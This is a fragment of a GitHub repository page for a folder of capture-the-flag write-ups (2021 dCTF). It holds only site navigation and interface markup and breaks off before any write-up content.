xmlns="http://www.w3.org/2000/svg" width="22" height="20" aria-hidden="true" class="mr-1 header-search-key-slash"><path fill="none" stroke="#979A9C" opacity=".4" d="M3.5.5h12c1.7 0 3 1.3 3 3v13c0 1.7-1.3 3-3 3h-12c-1.7 0-3-1.3-3-3v-13c0-1.7 1.3-3 3-3z"></path><path fill="#979A9C" d="M11.8 6L8 15.1h-.9L10.8 6h1z"></path></svg> <div class="Box position-absolute overflow-hidden d-none jump-to-suggestions js-jump-to-suggestions-container"> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <span>No suggested jump to results</span> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this user </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> <div class="jump-to-octicon js-jump-to-octicon flex-shrink-0 mr-2 text-center d-none"> <svg title="Repository" aria-label="Repository" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo js-jump-to-octicon-repo d-none flex-shrink-0"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <svg title="Project" aria-label="Project" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project js-jump-to-octicon-project d-none flex-shrink-0"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <svg title="Search" aria-label="Search" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-search js-jump-to-octicon-search d-none flex-shrink-0"> <path fill-rule="evenodd" d="M11.5 7a4.499 4.499 0 11-8.998 0A4.499 4.499 0 0111.5 7zm-.82 4.74a6 6 0 111.06-1.06l3.04 3.04a.75.75 0 11-1.06 1.06l-3.04-3.04z"></path></svg> </div> <div class="jump-to-suggestion-name js-jump-to-suggestion-name flex-auto overflow-hidden text-left no-wrap css-truncate css-truncate-target"> </div> <div class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none js-jump-to-badge-search"> <span> In this repository </span> <span> All GitHub </span> <span>↵</span> </div> <div aria-hidden="true" class="border rounded-1 flex-shrink-0 color-bg-tertiary px-1 color-text-tertiary ml-1 f6 d-none d-on-nav-focus js-jump-to-badge-jump"> Jump to <span>↵</span> </div> </div> </label></form> </div></div> </div> <div class="position-relative mr-3 mb-4 mb-lg-0 d-inline-block"> Sign in </div> Sign up </div> </div> </div></header> </div> <div id="start-of-content" class="show-on-focus"></div> <div data-pjax-replace id="js-flash-container"> <template class="js-flash-template"> <div class="flash flash-full {{ className }}"> <div class=" px-2" > <button class="flash-close js-flash-close" type="button" aria-label="Dismiss this message"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg> </button> <div>{{ message }}</div> </div></div> </template></div> <include-fragment class="js-notification-shelf-include-fragment" data-base-src="https://github.com/notifications/beta/shelf"></include-fragment> <div class="application-main " data-commit-hovercards-enabled data-discussion-hovercards-enabled data-issue-and-pr-hovercards-enabled > <div itemscope itemtype="http://schema.org/SoftwareSourceCode" class=""> <main id="js-repo-pjax-container" data-pjax-container > <div id="repository-container-header" class="pt-3 hide-full-screen mb-5" style="background-color: var(--color-page-header-bg);" data-pjax-replace> <div class="d-flex mb-3 px-3 px-md-4 px-lg-5"> <div class="flex-auto min-width-0 width-fit mr-3"> <h1 class=" d-flex flex-wrap flex-items-center wb-break-word f3 text-normal"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo color-icon-secondary mr-2"> <path fill-rule="evenodd" d="M2 2.5A2.5 2.5 0 014.5 0h8.75a.75.75 0 01.75.75v12.5a.75.75 0 01-.75.75h-2.5a.75.75 0 110-1.5h1.75v-2h-8a1 1 0 00-.714 1.7.75.75 0 01-1.072 1.05A2.495 2.495 0 012 11.5v-9zm10.5-1V9h-8c-.356 0-.694.074-1 .208V2.5a1 1 0 011-1h8zM5 12.25v3.25a.25.25 0 00.4.2l1.45-1.087a.25.25 0 01.3 0L8.6 15.7a.25.25 0 00.4-.2v-3.25a.25.25 0 00-.25-.25h-3.5a.25.25 0 00-.25.25z"></path></svg> <span> ivanchubb </span> <span>/</span> CTF-Writeups <span></span><span>Public</span></h1> </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-bell"> <path d="M8 16a2 2 0 001.985-1.75c.017-.137-.097-.25-.235-.25h-3.5c-.138 0-.252.113-.235.25A2 2 0 008 16z"></path><path fill-rule="evenodd" d="M8 1.5A3.5 3.5 0 004.5 5v2.947c0 .346-.102.683-.294.97l-1.703 2.556a.018.018 0 00-.003.01l.001.006c0 .002.002.004.004.006a.017.017 0 00.006.004l.007.001h10.964l.007-.001a.016.016 0 00.006-.004.016.016 0 00.004-.006l.001-.007a.017.017 0 00-.003-.01l-1.703-2.554a1.75 1.75 0 01-.294-.97V5A3.5 3.5 0 008 1.5zM3 5a5 5 0 0110 0v2.947c0 .05.015.098.042.139l1.703 2.555A1.518 1.518 0 0113.482 13H2.518a1.518 1.518 0 01-1.263-2.36l1.703-2.554A.25.25 0 003 7.947V5z"></path></svg> Notifications <div > <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-star v-align-text-bottom mr-1"> <path fill-rule="evenodd" d="M8 .25a.75.75 0 01.673.418l1.882 3.815 4.21.612a.75.75 0 01.416 1.279l-3.046 2.97.719 4.192a.75.75 0 01-1.088.791L8 12.347l-3.766 1.98a.75.75 0 01-1.088-.79l.72-4.194L.818 6.374a.75.75 0 01.416-1.28l4.21-.611L7.327.668A.75.75 0 018 .25zm0 2.445L6.615 5.5a.75.75 0 01-.564.41l-3.097.45 2.24 2.184a.75.75 0 01.216.664l-.528 3.084 2.769-1.456a.75.75 0 01.698 0l2.77 1.456-.53-3.084a.75.75 0 01.216-.664l2.24-2.183-3.096-.45a.75.75 0 01-.564-.41L8 2.694v.001z"></path></svg> <span> Star</span> 2 </div> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-repo-forked"> <path fill-rule="evenodd" d="M5 3.25a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm0 2.122a2.25 2.25 0 10-1.5 0v.878A2.25 2.25 0 005.75 8.5h1.5v2.128a2.251 2.251 0 101.5 0V8.5h1.5a2.25 2.25 0 002.25-2.25v-.878a2.25 2.25 0 10-1.5 0v.878a.75.75 0 01-.75.75h-4.5A.75.75 0 015 6.25v-.878zm3.75 7.378a.75.75 0 11-1.5 0 .75.75 0 011.5 0zm3-8.75a.75.75 0 100-1.5.75.75 0 000 1.5z"></path></svg> Fork 1 </div> <div id="responsive-meta-container" data-pjax-replace></div> <nav data-pjax="#js-repo-pjax-container" aria-label="Repository" data-view-component="true" class="js-repo-nav js-sidenav-container-pjax js-responsive-underlinenav overflow-hidden UnderlineNav px-3 px-md-4 px-lg-5"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-code UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M4.72 3.22a.75.75 0 011.06 1.06L2.06 8l3.72 3.72a.75.75 0 11-1.06 1.06L.47 8.53a.75.75 0 010-1.06l4.25-4.25zm6.56 0a.75.75 0 10-1.06 1.06L13.94 8l-3.72 3.72a.75.75 0 101.06 1.06l4.25-4.25a.75.75 0 000-1.06l-4.25-4.25z"></path></svg> <span>Code</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-issue-opened UnderlineNav-octicon d-none d-sm-inline"> <path d="M8 9.5a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path><path fill-rule="evenodd" d="M8 0a8 8 0 100 16A8 8 0 008 0zM1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0z"></path></svg> <span>Issues</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-pull-request UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.177 3.073L9.573.677A.25.25 0 0110 .854v4.792a.25.25 0 01-.427.177L7.177 3.427a.25.25 0 010-.354zM3.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122v5.256a2.251 2.251 0 11-1.5 0V5.372A2.25 2.25 0 011.5 3.25zM11 2.5h-1V4h1a1 1 0 011 1v5.628a2.251 2.251 0 101.5 0V5A2.5 2.5 0 0011 2.5zm1 10.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0zM3.75 12a.75.75 0 100 1.5.75.75 0 000-1.5z"></path></svg> <span>Pull requests</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-play UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 8a6.5 6.5 0 1113 0 6.5 6.5 0 01-13 0zM8 0a8 8 0 100 16A8 8 0 008 0zM6.379 5.227A.25.25 0 006 5.442v5.117a.25.25 0 00.379.214l4.264-2.559a.25.25 0 000-.428L6.379 5.227z"></path></svg> <span>Actions</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-project UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.75 0A1.75 1.75 0 000 1.75v12.5C0 15.216.784 16 1.75 16h12.5A1.75 1.75 0 0016 14.25V1.75A1.75 1.75 0 0014.25 0H1.75zM1.5 1.75a.25.25 0 01.25-.25h12.5a.25.25 0 01.25.25v12.5a.25.25 0 01-.25.25H1.75a.25.25 0 01-.25-.25V1.75zM11.75 3a.75.75 0 00-.75.75v7.5a.75.75 0 001.5 0v-7.5a.75.75 0 00-.75-.75zm-8.25.75a.75.75 0 011.5 0v5.5a.75.75 0 01-1.5 0v-5.5zM8 3a.75.75 0 00-.75.75v3.5a.75.75 0 001.5 0v-3.5A.75.75 0 008 3z"></path></svg> <span>Projects</span> <span>0</span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-book UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M0 1.75A.75.75 0 01.75 1h4.253c1.227 0 2.317.59 3 1.501A3.744 3.744 0 0111.006 1h4.245a.75.75 0 01.75.75v10.5a.75.75 0 01-.75.75h-4.507a2.25 2.25 0 00-1.591.659l-.622.621a.75.75 0 01-1.06 0l-.622-.621A2.25 2.25 0 005.258 13H.75a.75.75 0 01-.75-.75V1.75zm8.755 3a2.25 2.25 0 012.25-2.25H14.5v9h-3.757c-.71 0-1.4.201-1.992.572l.004-7.322zm-1.504 7.324l.004-5.073-.002-2.253A2.25 2.25 0 005.003 2.5H1.5v9h3.757a3.75 3.75 0 011.994.574z"></path></svg> <span>Wiki</span> <span></span> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-shield UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M7.467.133a1.75 1.75 0 011.066 0l5.25 1.68A1.75 1.75 0 0115 3.48V7c0 1.566-.32 3.182-1.303 4.682-.983 1.498-2.585 2.813-5.032 3.855a1.7 1.7 0 01-1.33 0c-2.447-1.042-4.049-2.357-5.032-3.855C1.32 10.182 1 8.566 1 7V3.48a1.75 1.75 0 011.217-1.667l5.25-1.68zm.61 1.429a.25.25 0 00-.153 0l-5.25 1.68a.25.25 0 00-.174.238V7c0 1.358.275 2.666 1.057 3.86.784 1.194 2.121 2.34 4.366 3.297a.2.2 0 00.154 0c2.245-.956 3.582-2.104 4.366-3.298C13.225 9.666 13.5 8.36 13.5 7V3.48a.25.25 0 00-.174-.237l-5.25-1.68zM9 10.5a1 1 0 11-2 0 1 1 0 012 0zm-.25-5.75a.75.75 0 10-1.5 0v3a.75.75 0 001.5 0v-3z"></path></svg> <span>Security</span> <include-fragment src="/ivanchubb/CTF-Writeups/security/overall-count" accept="text/fragment+html"></include-fragment> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-graph UnderlineNav-octicon d-none d-sm-inline"> <path fill-rule="evenodd" d="M1.5 1.75a.75.75 0 00-1.5 0v12.5c0 .414.336.75.75.75h14.5a.75.75 0 000-1.5H1.5V1.75zm14.28 2.53a.75.75 0 00-1.06-1.06L10 7.94 7.53 5.47a.75.75 0 00-1.06 0L3.22 8.72a.75.75 0 001.06 1.06L7 7.06l2.47 2.47a.75.75 0 001.06 0l5.25-5.25z"></path></svg> <span>Insights</span> <span></span> <div style="visibility:hidden;" data-view-component="true" class="UnderlineNav-actions js-responsive-underlinenav-overflow position-absolute pr-3 pr-md-4 pr-lg-5 right-0"> <details data-view-component="true" class="details-overlay details-reset position-relative"> <summary role="button" data-view-component="true"> <div class="UnderlineNav-item mr-0 border-0"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-kebab-horizontal"> <path d="M8 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zM1.5 9a1.5 1.5 0 100-3 1.5 1.5 0 000 3zm13 0a1.5 1.5 0 100-3 1.5 1.5 0 000 3z"></path></svg> <span>More</span> </div></summary> <div data-view-component="true"> <details-menu role="menu" data-view-component="true" class="dropdown-menu dropdown-menu-sw"> Code Issues Pull requests Actions Projects Wiki Security Insights </details-menu></div></details></div></nav> </div> <div class="clearfix new-discussion-timeline container-xl px-3 px-md-4 px-lg-5"> <div id="repo-content-pjax-container" class="repository-content " > <div> <div class="file-navigation mb-3 d-flex flex-items-start"> <div class="position-relative"> <details class="details-reset details-overlay mr-0 mb-0 " id="branch-select-menu"> <summary class="btn css-truncate" data-hotkey="w" title="Switch branches or tags"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-git-branch"> <path fill-rule="evenodd" d="M11.75 2.5a.75.75 0 100 1.5.75.75 0 000-1.5zm-2.25.75a2.25 2.25 0 113 2.122V6A2.5 2.5 0 0110 8.5H6a1 1 0 00-1 1v1.128a2.251 2.251 0 11-1.5 0V5.372a2.25 2.25 0 111.5 0v1.836A2.492 2.492 0 016 7h4a1 1 0 001-1v-.628A2.25 2.25 0 019.5 3.25zM4.25 12a.75.75 0 100 1.5.75.75 0 000-1.5zM3.5 3.25a.75.75 0 111.5 0 .75.75 0 01-1.5 0z"></path></svg> <span>main</span> <span></span> </summary> <div class="SelectMenu"> <div class="SelectMenu-modal"> <header class="SelectMenu-header"> <span>Switch branches/tags</span> <button class="SelectMenu-closeButton" type="button" data-toggle-for="branch-select-menu"><svg aria-label="Close menu" aria-hidden="false" role="img" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-x"> <path fill-rule="evenodd" d="M3.72 3.72a.75.75 0 011.06 0L8 6.94l3.22-3.22a.75.75 0 111.06 1.06L9.06 8l3.22 3.22a.75.75 0 11-1.06 1.06L8 9.06l-3.22 3.22a.75.75 0 01-1.06-1.06L6.94 8 3.72 4.78a.75.75 0 010-1.06z"></path></svg></button> </header> <input-demux data-action="tab-container-change:input-demux#storeInput tab-container-changed:input-demux#updateInput"> <tab-container class="d-flex flex-column js-branches-tags-tabs" style="min-height: 0;"> <div class="SelectMenu-filter"> <input data-target="input-demux.source" id="context-commitish-filter-field" class="SelectMenu-input form-control" aria-owns="ref-list-branches" data-controls-ref-menu-id="ref-list-branches" autofocus autocomplete="off" aria-label="Filter branches/tags" placeholder="Filter branches/tags" type="text" > </div> <div class="SelectMenu-tabs" role="tablist" data-target="input-demux.control" > <button class="SelectMenu-tab" type="button" role="tab" aria-selected="true">Branches</button> <button class="SelectMenu-tab" type="button" role="tab">Tags</button> </div> <div role="tabpanel" id="ref-list-branches" data-filter-placeholder="Filter branches/tags" class="d-flex flex-column flex-auto overflow-auto" tabindex=""> <ref-selector type="branch" data-targets="input-demux.sinks" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" prefetch-on-mouseover > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load branches</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message">Nothing to show</div></template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list " style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <footer class="SelectMenu-footer">View all branches</footer> </ref-selector> </div> <div role="tabpanel" id="tags-menu" data-filter-placeholder="Find a tag" class="d-flex flex-column flex-auto overflow-auto" tabindex="" hidden> <ref-selector type="tag" data-action=" input-entered:ref-selector#inputEntered tab-selected:ref-selector#tabSelected focus-list:ref-selector#focusFirstListMember " data-targets="input-demux.sinks" query-endpoint="/ivanchubb/CTF-Writeups/refs" cache-key="v0:1630077996.69185" current-committish="bWFpbg==" default-branch="bWFpbg==" name-with-owner="aXZhbmNodWJiL0NURi1Xcml0ZXVwcw==" > <template data-target="ref-selector.fetchFailedTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Could not load tags</div> </template> <template data-target="ref-selector.noMatchTemplate"> <div class="SelectMenu-message" data-index="{{ index }}">Nothing to show</div> </template> <template data-target="ref-selector.itemTemplate"> <svg aria-hidden="true" height="16" viewBox="0 0 16 16" version="1.1" width="16" data-view-component="true" class="octicon octicon-check SelectMenu-icon SelectMenu-icon--check"> <path fill-rule="evenodd" d="M13.78 4.22a.75.75 0 010 1.06l-7.25 7.25a.75.75 0 01-1.06 0L2.22 9.28a.75.75 0 011.06-1.06L6 10.94l6.72-6.72a.75.75 0 011.06 0z"></path></svg> <span>{{ refName }}</span> <span>default</span> </template> <div data-target="ref-selector.listContainer" role="menu" class="SelectMenu-list" style="max-height: 330px" data-pjax="#repo-content-pjax-container"> <div class="SelectMenu-loading pt-3 pb-0" aria-label="Menu is loading"> <svg style="box-sizing: content-box; color: var(--color-icon-primary);" width="32" height="32" viewBox="0 0 16 16" fill="none" data-view-component="true" class="anim-rotate"> <circle cx="8" cy="8" r="7" stroke="currentColor" stroke-opacity="0.25" stroke-width="2" vector-effect="non-scaling-stroke" /> <path d="M15 8a7.002 7.002 0 00-7-7" stroke="currentColor" stroke-width="2" stroke-linecap="round" vector-effect="non-scaling-stroke" /></svg> </div> </div> <footer class="SelectMenu-footer">View all tags</footer> </ref-selector> </div> </tab-container> </input-demux> </div></div> </details> </div> <div class="flex-1 mx-2 flex-self-center f4"> <div class="d-none d-sm-block"> <span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span> </div> </div> <div class="d-flex"> Go to file </div> </div> <div class="f4 mt-3 mb-3 d-sm-none"><span><span><span>CTF-Writeups</span></span></span><span>/</span><span><span>2021</span></span><span>/</span>dCTF<span>/</span></div> <div class="Box mb-3"> <div class="Box-header position-relative"> <h2 class="sr-only">Latest commit</h2> <div 